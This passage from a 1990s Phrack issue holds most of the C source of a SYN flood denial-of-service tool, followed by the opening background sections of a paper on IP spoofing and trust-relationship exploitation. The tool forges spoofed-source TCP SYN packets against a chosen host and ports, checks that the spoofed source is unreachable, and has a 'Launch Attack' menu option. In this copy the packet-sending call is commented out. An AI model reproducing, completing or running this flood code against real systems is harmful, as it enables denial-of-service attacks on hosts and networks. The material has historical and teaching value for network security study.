treatment of the topic. (Also see my paper on IP-spoofing for
|
||
information on a related subject.)
|
||
|
||
Usage:
|
||
Figure it out, kid. Menu is default action. Command line usage is
|
||
available for easy integration into shell scripts. If you can't
|
||
figure out an unreachable host, the program will not work.
|
||
|
||
Gripes:
|
||
It would appear that flooding a host on every port (with the
|
||
infinity switch) has it's drawbacks. So many packets are trying to
|
||
make their way to the target host, it seems as though many are
|
||
dropped, especially on ethernets. Across the Internet, though, the
|
||
problem appears mostly mitigated. The call to usleep appears to fix
|
||
this... Coming up is a port scanning option that will find open
|
||
ports...
|
||
|
||
Version History:
|
||
6/17/96 beta1: SYN flooding, Cmd line and crude menu, ICMP stuff broken
|
||
6/20/96 beta2: Better menu, improved SYN flooding, ICMP fixed... sorta
|
||
6/21/96 beta3: Better menu still, fixed SYN flood clogging problem
|
||
Fixed some name-lookup problems
|
||
6/22/96 beta4: Some loop optimization, ICMP socket stuff changed, ICMP
|
||
code fixed
|
||
6/23/96 1.0: First real version...
|
||
6/25/96 1.1: Cleaned up some stuff, added authentication hooks, fixed up
|
||
input routine stuff
|
||
7/01/96 1.5: Added daemonizing routine...
|
||
|
||
This coding project made possible by a grant from the Guild corporation
|
||
|
||
*/
|
||
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
#include <string.h>
|
||
#include <syslog.h>
|
||
#include <pwd.h>
|
||
#include <unistd.h>
|
||
#include <netinet/in.h>
|
||
#include <arpa/inet.h>
|
||
#include <netdb.h>
|
||
#include <sys/socket.h>
|
||
#include <sys/ioctl.h>
|
||
#include <fcntl.h>
|
||
#include <time.h>
|
||
#include <linux/signal.h>
|
||
#include <linux/ip.h>
|
||
#include <linux/tcp.h>
|
||
#include <linux/icmp.h>
|
||
|
||
#define BUFLEN 256
|
||
#define MENUBUF 64
|
||
#define MAXPORT 1024
|
||
#define MAXPAK 4096
|
||
#define MENUSLEEP 700000
|
||
#define FLOODSLEEP 100 /* Ethernet, or WAN? Yur mileage will vary.*/
|
||
#define ICMPSLEEP 100
|
||
#define ACCESSLIST "/etc/sfaccess.conf"
|
||
|
||
int HANDLERCODE=1;
|
||
int KEEPQUIET=0;
|
||
char werd[]={"\nThis code made possible by a grant from the Guild Corporation\n\0"};
|
||
|
||
void main(argc,argv)
|
||
int argc;
|
||
char *argv[];
|
||
{
|
||
|
||
void usage(char *);
|
||
void menu(int,char *);
|
||
void flood(int,unsigned,unsigned,u_short,int);
|
||
unsigned nameResolve(char *);
|
||
int authenticate(int,char *);
|
||
|
||
unsigned unreachable,target;
|
||
int c,port,amount,sock1,fd;
|
||
struct passwd *passEnt;
|
||
char t[20],u[20];
|
||
|
||
if((fd=open(ACCESSLIST,O_RDONLY))<=0){
|
||
perror("Cannot open accesslist");
|
||
exit(1);
|
||
}
|
||
setpwent();
|
||
passEnt=getpwuid(getuid());
|
||
endpwent();
|
||
/* Authenticate */
|
||
if(!authenticate(fd,passEnt->pw_name)){
|
||
fprintf(stderr,"Access Denied, kid\n");
|
||
exit(0);
|
||
}
|
||
/* Open up a RAW socket */
|
||
|
||
if((sock1=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){
|
||
perror("\nHmmm.... socket problems\n");
|
||
exit(1);
|
||
}
|
||
if(argc==1){
|
||
menu(sock1,passEnt->pw_name);
|
||
exit(0);
|
||
}
|
||
/* Parse command-line arguments */
|
||
while((c=getopt(argc,argv,"8:s:t:p:a"))){
|
||
switch(c){
|
||
case 's': /* Source (spoofed) host */
|
||
unreachable=nameResolve(optarg);
|
||
strcpy(u,optarg);
|
||
break;
|
||
case 't': /* Target host */
|
||
target=nameResolve(optarg);
|
||
strcpy(t,optarg);
|
||
break;
|
||
case 'p': /* Target port */
|
||
port=atoi(optarg);
|
||
break;
|
||
case '8': /* infinity switch */
|
||
port=0;
|
||
break;
|
||
case 'a': /* Amount of SYNs to send */
|
||
amount=atoi(optarg);
|
||
break;
|
||
default: /* WTF? */
|
||
usage(argv[0]);
|
||
}
|
||
}
|
||
|
||
if(!port){
|
||
printf("\n\nFlooding target: \t\t%u\nOn ports\t\t\t1-%d\nAmount: \t\t\t%u\nPuportedly from: \t\t%u \n",target,MAXPORT,amount,unreachable);
|
||
flood(sock1,unreachable,target,0,amount);
|
||
}
|
||
else{
|
||
printf("\n\nFlooding target: \t\t%u\nOn port: \t\t\t%u\nAmount: \t\t\t%u\nPuportedly from: \t\t%u \n",target,port,amount,unreachable);
|
||
flood(sock1,unreachable,target,port,amount);
|
||
}
|
||
syslog(LOG_LOCAL6|LOG_INFO,"FLOOD: PID: %d, User:%s Target:%s Unreach:%s Port:%d Number:%d\n",getpid(),passEnt->pw_name,t,u,port,amount);
|
||
printf(werd);
|
||
exit(0);
|
||
} /* End main */
|
||
|
||
/*
|
||
* Authenticate. Makes sure user is authorized to run program.
|
||
*
|
||
*/
|
||
int authenticate(fd,nameID)
|
||
int fd;
|
||
char *nameID;
|
||
{
|
||
|
||
char buf[BUFLEN+1];
|
||
char workBuffer[10];
|
||
int i=0,j=0;
|
||
|
||
while(read(fd,buf,sizeof(buf))){
|
||
if(!(strstr(buf,nameID))){
|
||
close(fd);
|
||
syslog(LOG_LOCAL6|LOG_INFO,"Failed authentication for %s\n",nameID);
|
||
return(0);
|
||
}
|
||
else {
|
||
close(fd);
|
||
syslog(LOG_LOCAL6|LOG_INFO,"Successful start by %s, PID: %d\n",nameID,getpid());
|
||
return(1);
|
||
}
|
||
}
|
||
}
|
||
|
||
|
||
/*
|
||
* Flood. This is main workhorse of the program. IP and TCP header
|
||
* construction occurs here, as does flooding.
|
||
*/
|
||
void flood(int sock,unsigned sadd,unsigned dadd,u_short dport,int amount){
|
||
|
||
unsigned short in_cksum(unsigned short *,int);
|
||
|
||
struct packet{
|
||
struct iphdr ip;
|
||
struct tcphdr tcp;
|
||
}packet;
|
||
|
||
struct pseudo_header{ /* For TCP header checksum */
|
||
unsigned int source_address;
|
||
unsigned int dest_address;
|
||
unsigned char placeholder;
|
||
unsigned char protocol;
|
||
unsigned short tcp_length;
|
||
struct tcphdr tcp;
|
||
}pseudo_header;
|
||
|
||
struct sockaddr_in sin; /* IP address information */
|
||
register int i=0,j=0; /* Counters */
|
||
int tsunami=0; /* flag */
|
||
unsigned short sport=161+getpid();
|
||
|
||
if(!dport){
|
||
tsunami++; /* GOD save them... */
|
||
fprintf(stderr,"\nTSUNAMI!\n");
|
||
fprintf(stderr,"\nflooding port:");
|
||
}
|
||
|
||
/* Setup the sin struct with addressing information */
|
||
|
||
sin.sin_family=AF_INET; /* Internet address family */
|
||
sin.sin_port=sport; /* Source port */
|
||
sin.sin_addr.s_addr=dadd; /* Dest. address */
|
||
|
||
/* Packet assembly begins here */
|
||
|
||
/* Fill in all the TCP header information */
|
||
|
||
packet.tcp.source=sport; /* 16-bit Source port number */
|
||
packet.tcp.dest=htons(dport); /* 16-bit Destination port */
|
||
packet.tcp.seq=49358353+getpid(); /* 32-bit Sequence Number */
|
||
packet.tcp.ack_seq=0; /* 32-bit Acknowledgement Number */
|
||
packet.tcp.doff=5; /* Data offset */
|
||
packet.tcp.res1=0; /* reserved */
|
||
packet.tcp.res2=0; /* reserved */
|
||
packet.tcp.urg=0; /* Urgent offset valid flag */
|
||
packet.tcp.ack=0; /* Acknowledgement field valid flag */
|
||
packet.tcp.psh=0; /* Push flag */
|
||
packet.tcp.rst=0; /* Reset flag */
|
||
packet.tcp.syn=1; /* Synchronize sequence numbers flag */
|
||
packet.tcp.fin=0; /* Finish sending flag */
|
||
packet.tcp.window=htons(242); /* 16-bit Window size */
|
||
packet.tcp.check=0; /* 16-bit checksum (to be filled in below) */
|
||
packet.tcp.urg_ptr=0; /* 16-bit urgent offset */
|
||
|
||
/* Fill in all the IP header information */
|
||
|
||
packet.ip.version=4; /* 4-bit Version */
|
||
packet.ip.ihl=5; /* 4-bit Header Length */
|
||
packet.ip.tos=0; /* 8-bit Type of service */
|
||
packet.ip.tot_len=htons(40); /* 16-bit Total length */
|
||
packet.ip.id=getpid(); /* 16-bit ID field */
|
||
packet.ip.frag_off=0; /* 13-bit Fragment offset */
|
||
packet.ip.ttl=255; /* 8-bit Time To Live */
|
||
packet.ip.protocol=IPPROTO_TCP; /* 8-bit Protocol */
|
||
packet.ip.check=0; /* 16-bit Header checksum (filled in below) */
|
||
packet.ip.saddr=sadd; /* 32-bit Source Address */
|
||
packet.ip.daddr=dadd; /* 32-bit Destination Address */
|
||
|
||
/* Psuedo-headers needed for TCP hdr checksum (they
|
||
do not change and do not need to be in the loop) */
|
||
|
||
pseudo_header.source_address=packet.ip.saddr;
|
||
pseudo_header.dest_address=packet.ip.daddr;
|
||
pseudo_header.placeholder=0;
|
||
pseudo_header.protocol=IPPROTO_TCP;
|
||
pseudo_header.tcp_length=htons(20);
|
||
|
||
while(1){ /* Main loop */
|
||
if(tsunami){
|
||
if(j==MAXPORT){
|
||
tsunami=0;
|
||
break;
|
||
}
|
||
packet.tcp.dest=htons(++j);
|
||
fprintf(stderr,"%d",j);
|
||
fprintf(stderr,"%c",0x08);
|
||
if(j>=10)fprintf(stderr,"%c",0x08);
|
||
if(j>=100)fprintf(stderr,"%c",0x08);
|
||
if(j>=1000)fprintf(stderr,"%c",0x08);
|
||
if(j>=10000)fprintf(stderr,"%c",0x08);
|
||
|
||
}
|
||
for(i=0;i<amount;i++){ /* Flood loop */
|
||
|
||
/* Certian header fields should change */
|
||
|
||
packet.tcp.source++; /* Source port inc */
|
||
packet.tcp.seq++; /* Sequence Number inc */
|
||
packet.tcp.check=0; /* Checksum will need to change */
|
||
packet.ip.id++; /* ID number */
|
||
packet.ip.check=0; /* Checksum will need to change */
|
||
|
||
/* IP header checksum */
|
||
|
||
packet.ip.check=in_cksum((unsigned short *)&packet.ip,20);
|
||
|
||
/* Setup TCP headers for checksum */
|
||
|
||
bcopy((char *)&packet.tcp,(char *)&pseudo_header.tcp,20);
|
||
|
||
/* TCP header checksum */
|
||
|
||
packet.tcp.check=in_cksum((unsigned short *)&pseudo_header,32);
|
||
|
||
/* As it turns out, if we blast packets too fast, many
|
||
get dropped, as the receiving kernel can't cope (at
|
||
least on an ethernet). This value could be tweaked
|
||
prolly, but that's up to you for now... */
|
||
|
||
usleep(FLOODSLEEP);
|
||
|
||
/* This is where we sit back and watch it all come together */
|
||
|
||
/*sendto(sock,&packet,40,0,(struct sockaddr *)&sin,sizeof(sin));*/
|
||
if(!tsunami&&!KEEPQUIET)fprintf(stderr,".");
|
||
}
|
||
if(!tsunami)break;
|
||
}
|
||
}
|
||
|
||
|
||
/*
|
||
* IP Family checksum routine (from UNP)
|
||
*/
|
||
unsigned short in_cksum(unsigned short *ptr,int nbytes){
|
||
|
||
register long sum; /* assumes long == 32 bits */
|
||
u_short oddbyte;
|
||
register u_short answer; /* assumes u_short == 16 bits */
|
||
|
||
/*
|
||
* Our algorithm is simple, using a 32-bit accumulator (sum),
|
||
* we add sequential 16-bit words to it, and at the end, fold back
|
||
* all the carry bits from the top 16 bits into the lower 16 bits.
|
||
*/
|
||
|
||
sum = 0;
|
||
while (nbytes > 1) {
|
||
sum += *ptr++;
|
||
nbytes -= 2;
|
||
}
|
||
|
||
/* mop up an odd byte, if necessary */
|
||
if (nbytes == 1) {
|
||
oddbyte = 0; /* make sure top half is zero */
|
||
*((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */
|
||
sum += oddbyte;
|
||
}
|
||
|
||
/*
|
||
* Add back carry outs from top 16 bits to low 16 bits.
|
||
*/
|
||
|
||
sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */
|
||
sum += (sum >> 16); /* add carry */
|
||
answer = ~sum; /* ones-complement, then truncate to 16 bits */
|
||
return(answer);
|
||
}
|
||
|
||
|
||
/*
|
||
* Converts IP addresses
|
||
*/
|
||
unsigned nameResolve(char *hostname){
|
||
|
||
struct in_addr addr;
|
||
struct hostent *hostEnt;
|
||
|
||
if((addr.s_addr=inet_addr(hostname))==-1){
|
||
if(!(hostEnt=gethostbyname(hostname))){
|
||
fprintf(stderr,"Name lookup failure: `%s`\n",hostname);
|
||
exit(0);
|
||
}
|
||
bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length);
|
||
}
|
||
return addr.s_addr;
|
||
}
|
||
|
||
|
||
/*
|
||
* Menu function. Nothing suprising here. Except that one thing.
|
||
*/
|
||
void menu(sock1,nameID)
|
||
int sock1;
|
||
char *nameID;
|
||
{
|
||
int slickPing(int,int,char *);
|
||
void flood(int,unsigned,unsigned,u_short,int);
|
||
unsigned nameResolve(char *);
|
||
void demon(int,char *,char *,int,int,int,int);
|
||
|
||
int i,sock2,menuLoop=1,icmpAmt,port,amount,interval,ttl;
|
||
char optflags[7]={0}; /* So we can keep track of the options */
|
||
static char tmp[MENUBUF+1]={0},target[MENUBUF+1]={0},unreach[MENUBUF+1]={0};
|
||
|
||
while(menuLoop){
|
||
printf("\n\n\t\t\t[ SYNflood Menu ]\n\t\t\t [ daemon9 ]\n\n");
|
||
if(!optflags[0])printf("1\t\tEnter target host\n");
|
||
else printf("[1]\t\tTarget:\t\t\t%s\n",target);
|
||
if(!optflags[1])printf("2\t\tEnter source (unreachable) host\n");
|
||
else printf("[2]\t\tUnreachable:\t\t%s\n",unreach);
|
||
if(!optflags[2])printf("3\t\tSend ICMP_ECHO(s) to unreachable\n");
|
||
else printf("[3]\t\tUnreachable host:\tverified unreachable\n");
|
||
if(!optflags[3])printf("4\t\tEnter port number to flood\n");
|
||
else if(port)printf("[4]\t\tFlooding:\t\t%d\n",port);
|
||
else printf("[4]\t\tFlooding:\t\t1-1024\n");
|
||
if(!optflags[4])printf("5\t\tEnter number of SYNs\n");
|
||
else printf("[5]\t\tNumber SYNs:\t\t%d\n",amount);
|
||
printf("\n6\t\tQuit\n");
|
||
if(optflags[0]&&optflags[1]&&optflags[3]&&optflags[4])printf("7\t\tLaunch Attack\n");
|
||
if(optflags[0]&&optflags[1]&&optflags[3]&&optflags[4])printf("8\t\tDaemonize\n");
|
||
printf("\n\n\n\n\n\n\n\n\n\n\n\n");
|
||
fgets(tmp,BUFLEN/2,stdin); /* tempered input */
|
||
switch(atoi(tmp)){
|
||
case 1:
|
||
printf("[hostname]-> ");
|
||
fgets(target,MENUBUF,stdin);
|
||
i=0;
|
||
if(target[0]=='\n')break;
|
||
while(target[i]!='\n')i++;
|
||
target[i]=0;
|
||
optflags[0]=1;
|
||
break;
|
||
case 2:
|
||
printf("[hostname]-> ");
|
||
fgets(unreach,MENUBUF,stdin);
|
||
i=0;
|
||
if(unreach[0]=='\n')break;
|
||
while(unreach[i]!='\n')i++;
|
||
unreach[i]=0;
|
||
optflags[1]=1;
|
||
break;
|
||
case 3:
|
||
if(!optflags[1]){
|
||
fprintf(stderr,"Um, enter a host first\n");
|
||
usleep(MENUSLEEP);
|
||
break;
|
||
}
|
||
/* Raw ICMP socket */
|
||
if((sock2=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0){
|
||
perror("\nHmmm.... socket problems\n");
|
||
exit(1);
|
||
}
|
||
printf("[number of ICMP_ECHO's]-> ");
|
||
fgets(tmp,MENUBUF,stdin);
|
||
if(!(icmpAmt=atoi(tmp)))break;
|
||
if(slickPing(icmpAmt,sock2,unreach)){
|
||
fprintf(stderr,"Host is reachable... Pick a new one\n");
|
||
sleep(1);
|
||
optflags[1]=0;
|
||
optflags[2]=0;
|
||
HANDLERCODE=1;
|
||
close(sock2);
|
||
break;
|
||
}
|
||
optflags[2]=1;
|
||
close(sock2);
|
||
break;
|
||
case 4:
|
||
printf("[port number]-> ");
|
||
fgets(tmp,MENUBUF,stdin);
|
||
port=atoi(tmp);
|
||
optflags[3]=1;
|
||
break;
|
||
case 5:
|
||
printf("[number of SYNs]-> ");
|
||
fgets(tmp,MENUBUF,stdin);
|
||
if(!(amount=atoi(tmp)))break;
|
||
optflags[4]=1;
|
||
break;
|
||
case 6:
|
||
menuLoop--;
|
||
break;
|
||
case 7:
|
||
if(optflags[0]&&optflags[1]&&optflags[3]&&optflags[4]){
|
||
syslog(LOG_LOCAL6|LOG_INFO,"FLOOD: PID: %d, User:%s Target:%s Unreach:%s Port:%d Number:%d\n",getpid(),nameID,target,unreach,port,amount);
|
||
flood(sock1,nameResolve(unreach),nameResolve(target),port,amount);
|
||
menuLoop--;
|
||
}
|
||
else{
|
||
fprintf(stderr,"Illegal option --try again\n");
|
||
usleep(MENUSLEEP);
|
||
}
|
||
break;
|
||
case 8:
|
||
if(optflags[0]&&optflags[1]&&optflags[3]&&optflags[4]){
|
||
if(!port){
|
||
fprintf(stderr,"Cannot set infinity flag in daemon mode. Sorry.\n");
|
||
usleep(MENUSLEEP*2);
|
||
break;
|
||
}
|
||
printf("[packet sending interval in seconds {80}]-> ");
|
||
fgets(tmp,MENUBUF,stdin);
|
||
if(!(interval=atoi(tmp)))interval=80;
|
||
printf("[time for daemon to live in whole hours(0=forever)]-> ");
|
||
fgets(tmp,MENUBUF,stdin);
|
||
ttl=atoi(tmp);
|
||
syslog(LOG_LOCAL6|LOG_INFO,"DFLOOD: PID: %d, User:%s Target:%s Unreach:%s Port:%d Number:%d Interval: %d TTL: %d\n",getpid(),nameID,target,unreach,port,amount,interval,ttl);
|
||
demon(sock1,unreach,target,port,amount,interval,ttl);
|
||
exit(0);
|
||
}
|
||
else{
|
||
fprintf(stderr,"Illegal option --try again\n");
|
||
usleep(MENUSLEEP);
|
||
}
|
||
break;
|
||
|
||
default:
|
||
fprintf(stderr,"Illegal option --try again\n");
|
||
usleep(MENUSLEEP);
|
||
}
|
||
|
||
}
|
||
printf("\n");
|
||
printf(werd);
|
||
return;
|
||
}
|
||
|
||
|
||
/*
|
||
* SlickPing. A quick and dirty ping hack. Sends <amount> ICMP_ECHO
|
||
* packets and waits for a reply on any one of them... It has to check
|
||
* to make sure the ICMP_ECHOREPLY is actually meant for us, as raw ICMP
|
||
* sockets get ALL the ICMP traffic on a host, and someone could be
|
||
* pinging some other host and we could get that ECHOREPLY and foul
|
||
* things up for us.
|
||
*/
|
||
int slickPing(amount,sock,dest)
|
||
int amount,sock;
|
||
char *dest;
|
||
{
|
||
|
||
int alarmHandler();
|
||
unsigned nameResolve(char *);
|
||
|
||
register int retcode,j=0;
|
||
struct icmphdr *icmp;
|
||
struct sockaddr_in sin;
|
||
unsigned char sendICMPpak[MAXPAK]={0};
|
||
unsigned short pakID=getpid()&0xffff;
|
||
|
||
struct ippkt{
|
||
struct iphdr ip;
|
||
struct icmphdr icmp;
|
||
char buffer[MAXPAK];
|
||
}pkt;
|
||
|
||
bzero((char *)&sin,sizeof(sin));
|
||
sin.sin_family=AF_INET;
|
||
sin.sin_addr.s_addr=nameResolve(dest);
|
||
|
||
/* ICMP Packet assembly */
|
||
/* We let the kernel create our IP header as it is legit */
|
||
|
||
icmp=(struct icmphdr *)sendICMPpak;
|
||
icmp->type=ICMP_ECHO; /* Requesting an Echo */
|
||
icmp->code=0; /* 0 for ICMP ECHO/ECHO_REPLY */
|
||
icmp->un.echo.id=pakID; /* To identify upon return */
|
||
icmp->un.echo.sequence=0; /* Not used for us */
|
||
icmp->checksum=in_cksum((unsigned short *)icmp,64);
|
||
|
||
fprintf(stderr,"sending ICMP_ECHO packets: ");
|
||
for(;j<amount;j++){
|
||
usleep(ICMPSLEEP); /* For good measure */
|
||
retcode=sendto(sock,sendICMPpak,64,0,(struct sockaddr *)&sin,sizeof(sin));
|
||
if(retcode<0||retcode!=64)
|
||
if(retcode<0){
|
||
perror("ICMP sendto err");
|
||
exit(1);
|
||
}
|
||
else fprintf(stderr,"Only wrote %d bytes",retcode);
|
||
else fprintf(stderr,".");
|
||
}
|
||
HANDLERCODE=1;
|
||
signal(SIGALRM,alarmHandler); /* catch the ALARM and handle it */
|
||
fprintf(stderr,"\nSetting alarm timeout for 10 seconds...\n");
|
||
alarm(10); /* ALARM is set b/c read() will block forever if no */
|
||
while(1){ /* packets arrive... (which is what we want....) */
|
||
read(sock,(struct ippkt *)&pkt,MAXPAK-1);
|
||
if(pkt.icmp.type==ICMP_ECHOREPLY&&icmp->un.echo.id==pakID){
|
||
if(!HANDLERCODE)return(0);
|
||
return(1);
|
||
}
|
||
}
|
||
}
|
||
|
||
|
||
/*
|
||
* SIGALRM signal handler. Souper simple.
|
||
*/
|
||
int alarmHandler(){
|
||
|
||
HANDLERCODE=0; /* shame on me for using global vars */
|
||
alarm(0);
|
||
signal(SIGALRM,SIG_DFL);
|
||
return(0);
|
||
}
|
||
|
||
|
||
/*
|
||
* Usage function...
|
||
*/
|
||
void usage(nomenclature)
|
||
char *nomenclature;
|
||
{
|
||
fprintf(stderr,"\n\nUSAGE: %s \n\t-s unreachable_host \n\t-t target_host \n\t-p port [-8 (infinity switch)] \n\t-a amount_of_SYNs\n",nomenclature);
|
||
exit(0);
|
||
}
|
||
|
||
|
||
/*
|
||
* Demon. Backgrounding procedure and looping stuff.
|
||
*/
|
||
|
||
void demon(sock,unreachable,target,port,amount,interval,ttl)
|
||
int sock;
|
||
char *unreachable;
|
||
char *target;
|
||
int port;
|
||
int amount;
|
||
int interval;
|
||
int ttl;
|
||
{
|
||
fprintf(stderr,"\nSorry Daemon mode not available in this version\n");
|
||
exit(0);
|
||
|
||
}
|
||
|
||
==Phrack Magazine==
|
||
|
||
Volume Seven, Issue Forty-Eight, File 14 of 18
|
||
|
||
|
||
[ IP-spoofing Demystified ]
|
||
(Trust-Relationship Exploitation)
|
||
|
||
|
||
by daemon9 / route / infinity
|
||
for Phrack Magazine
|
||
June 1996 Guild Productions, kid
|
||
|
||
comments to route@infonexus.com
|
||
|
||
|
||
The purpose of this paper is to explain IP-spoofing to the
|
||
masses. It assumes little more than a working knowledge of Unix and
|
||
TCP/IP. Oh, and that yur not a moron...
|
||
IP-spoofing is complex technical attack that is made up of
|
||
several components. (In actuality, IP-spoofing is not the attack, but
|
||
a step in the attack. The attack is actually trust-relationship
|
||
exploitation. However, in this paper, IP-spoofing will refer to the
|
||
whole attack.) In this paper, I will explain the attack in detail,
|
||
including the relevant operating system and networking information.
|
||
|
||
|
||
[SECTION I. BACKGROUND INFORMATION]
|
||
|
||
|
||
--[ The Players ]--
|
||
|
||
|
||
A: Target host
|
||
B: Trusted host
|
||
X: Unreachable host
|
||
Z: Attacking host
|
||
(1)2: Host 1 masquerading as host 2
|
||
|
||
|
||
--[ The Figures ]--
|
||
|
||
|
||
There are several figures in the paper and they are to be
|
||
interpreted as per the following example:
|
||
|
||
ick host a control host b
|
||
1 A ---SYN---> B
|
||
|
||
tick: A tick of time. There is no distinction made as to *how*
|
||
much time passes between ticks, just that time passes. It's generally
|
||
not a great deal.
|
||
host a: A machine particpating in a TCP-based conversation.
|
||
control: This field shows any relevant control bits set in the TCP
|
||
header and the direction the data is flowing
|
||
host b: A machine particpating in a TCP-based conversation.
|
||
|
||
In this case, at the first refrenced point in time host a is sending
|
||
a TCP segment to host b with the SYN bit on. Unless stated, we are
|
||
generally not concerned with the data portion of the TCP segment.
|
||
|
||
|
||
--[ Trust Relationships ]--
|
||
|
||
|
||
In the Unix world, trust can be given all too easily. Say you
|
||
have an account on machine A, and on machine B. To facilitate going
|
||
betwixt the two with a minimum amount of hassle, you want to setup a
|
||
full-duplex trust relationship between them. In your home directory
|
||
at A you create a .rhosts file: `echo "B username" > ~/.rhosts` In
|
||
your home directory at B you create a .rhosts file: `echo "A username"
|
||
> ~/.rhosts` (Alternately, root can setup similar rules in
|
||
/etc/hosts.equiv, the difference being that the rules are hostwide,
|
||
rather than just on an individual basis.) Now, you can use any of the
|
||
r* commands without that annoying hassle of password authentication.
|
||
These commands will allow address-based authentication, which will
|
||
grant or deny access based off of the IP address of the service
|
||
requestor.
|
||
|
||
|
||
--[ Rlogin ]--
|
||
|
||
|
||
Rlogin is a simple client-server based protocol that uses TCP
|
||
as it's transport. Rlogin allows a user to login remotely from one
|
||
host to another, and, if the target machine trusts the other, rlogin
|
||
will allow the convienience of not prompting for a password. It will
|
||
instead have authenticated the client via the source IP address. So,
|
||
from our example above, we can use rlogin to remotely login to A from
|
||
B (or vice-versa) and not be prompted for a password.
|
||
|
||
|
||
--[ Internet Protocol ]--
|
||
|
||
|
||
IP is the connectionless, unreliable network protocol in the
|
||
TCP/IP suite. It has two 32-bit header fields to hold address
|
||
information. IP is also the busiest of all the TCP/IP protocols as
|
||
almost all TCP/IP traffic is encapsulated in IP datagrams. IP's job
|
||
is to route packets around the network. It provides no mechanism for
|
||
reliability or accountability, for that, it relies on the upper
|
||
layers. IP simply sends out datagrams and hopes they make it intact.
|
||
If they don't, IP can try to send an ICMP error message back to the
|
||
source, however this packet can get lost as well. (ICMP is Internet
|
||
Control Message Protocol and it is used to relay network conditions
|
||
and different errors to IP and the other layers.) IP has no means to
|
||
guarantee delivery. Since IP is connectionless, it does not maintain
|
||
any connection state information. Each IP datagram is sent out without
|
||
regard to the last one or the next one. This, along with the fact that
|
||
it is trivial to modify the IP stack to allow an arbitrarily choosen IP
|
||
address in the source (and destination) fields make IP easily subvertable.
|
||
|
||
|
||
--[ Transmission Control Protocol ]--
|
||
|
||
|
||
TCP is the connection-oriented, reliable transport protocol
|
||
in the TCP/IP suite. Connection-oriented simply means that the two
|
||
hosts participating in a discussion must first establish a connection
|
||
before data may change hands. Reliability is provided in a number of
|
||
ways but the only two we are concerned with are data sequencing and
|
||
acknowledgement. TCP assigns sequence numbers to every segment and
|
||
acknowledges any and all data segments recieved from the other end.
|
||
(ACK's consume a sequence number, but are not themselves ACK'd.)
|
||
This reliability makes TCP harder to fool than IP.
|
||
|
||
|
||
--[ Sequence Numbers, Acknowledgements and other flags ]--
|
||
|
||
|
||
Since TCP is reliable, it must be able to recover from
|
||
lost, duplicated, or out-of-order data. By assigning a sequence
|
||
number to every byte transfered, and requiring an acknowledgement from
|
||
the other end upon receipt, TCP can guarantee reliable delivery. The
|
||
receiving end uses the sequence numbers to ensure proper ordering of
|
||
the data and to eliminate duplicate data bytes.
|
||
TCP sequence numbers can simply be thought of as 32-bit
|
||
counters. They range from 0 to 4,294,967,295. Every byte of
|
||
data exchanged across a TCP connection (along with certain flags)
|
||
is sequenced. The sequence number field in the TCP header will
|
||
contain the sequence number of the *first* byte of data in the
|
||
TCP segment. The acknowledgement number field in the TCP header
|
||
holds the value of next *expected* sequence number, and also
|
||
acknowledges *all* data up through this ACK number minus one.
|
||
TCP uses the concept of window advertisement for flow
|
||
control. It uses a sliding window to tell the other end how much
|
||
data it can buffer. Since the window size is 16-bits a receiving TCP
|
||
can advertise up to a maximum of 65535 bytes. Window advertisement
|
||
can be thought of an advertisment from one TCP to the other of how
|
||
high acceptable sequence numbers can be.
|
||
Other TCP header flags of note are RST (reset), PSH (push)
|
||
and FIN (finish). If a RST is received, the connection is
|
||
immediately torn down. RSTs are normally sent when one end
|
||
receives a segment that just doesn't jive with current connection
|
||
(we will encounter an example below). The PSH flag tells the
|
||
reciever to pass all the data is has queued to the aplication, as
|
||
soon as possible. The FIN flag is the way an application begins a
|
||
graceful close of a connection (connection termination is a 4-way
|
||
process). When one end recieves a FIN, it ACKs it, and does not
|
||
expect to receive any more data (sending is still possible, however).
|
||
|
||
|
||
--[ TCP Connection Establishment ]--
|
||
|
||
|
||
In order to exchange data using TCP, hosts must establish a
|
||
a connection. TCP establishes a connection in a 3 step process called
|
||
the 3-way handshake. If machine A is running an rlogin client and
|
||
wishes to conect to an rlogin daemon on machine B, the process is as
|
||
follows:
|
||
|
||
fig(1)
|
||
|
||
1 A ---SYN---> B
|
||
|
||
2 A <---SYN/ACK--- B
|
||
|
||
3 A ---ACK---> B
|
||
|
||
|
||
At (1) the client is telling the server that it wants a connection.
|
||
This is the SYN flag's only purpose. The client is telling the
|
||
server that the sequence number field is valid, and should be checked.
|
||
The client will set the sequence number field in the TCP header to
|
||
it's ISN (initial sequence number). The server, upon receiving this
|
||
segment (2) will respond with it's own ISN (therefore the SYN flag is
|
||
on) and an ACKnowledgement of the clients first segment (which is the
|
||
client's ISN+1). The client then ACK's the server's ISN (3). Now,
|
||
data transfer may take place.
|
||
|
||
|
||
--[ The ISN and Sequence Number Incrementation ]--
|
||
|
||
|
||
It is important to understand how sequence numbers are
|
||
initially choosen, and how they change with respect to time. The
|
||
initial sequence number when a host is bootstraped is initialized
|
||
to 1. (TCP actually calls this variable 'tcp_iss' as it is the initial
|
||
*send* sequence number. The other sequence number variable,
|
||
'tcp_irs' is the initial *receive* sequence number and is learned
|
||
during the 3-way connection establishment. We are not going to worry
|
||
about the distinction.) This practice is wrong, and is acknowledged
|
||
as so in a comment the tcp_init() function where it appears. The ISN
|
||
is incremented by 128,000 every second, which causes the 32-bit ISN
|
||
counter to wrap every 9.32 hours if no connections occur. However,
|
||
each time a connect() is issued, the counter is incremented by
|
||
64,000.
|
||
One important reason behind this predictibility is to
|
||
minimize the chance that data from an older stale incarnation
|
||
(that is, from the same 4-tuple of the local and remote
|
||
IP-addresses TCP ports) of the current connection could arrive
|
||
and foul things up. The concept of the 2MSL wait time applies
|
||
here, but is beyond the scope of this paper. If sequence
|
||
numbers were choosen at random when a connection arrived, no
|
||
guarantees could be made that the sequence numbers would be different
|
||
from a previous incarnation. If some data that was stuck in a
|
||
routing loop somewhere finally freed itself and wandered into the new
|
||
incarnation of it's old connection, it could really foul things up.
|
||
|
||
|
||
--[ Ports ]--
|
||
|
||
|
||
To grant simultaneous access to the TCP module, TCP provides
|
||
a user interface called a port. Ports are used by the kernel to
|
||
identify network processes. These are strictly transport layer
|
||
entities (that is to say that IP could care less about them).
|
||
Together with an IP address, a TCP port provides provides an endpoint
|
||
for network communications. In fact, at any given moment *all*
|
||
Internet connections can be described by 4 numbers: the source IP
|
||
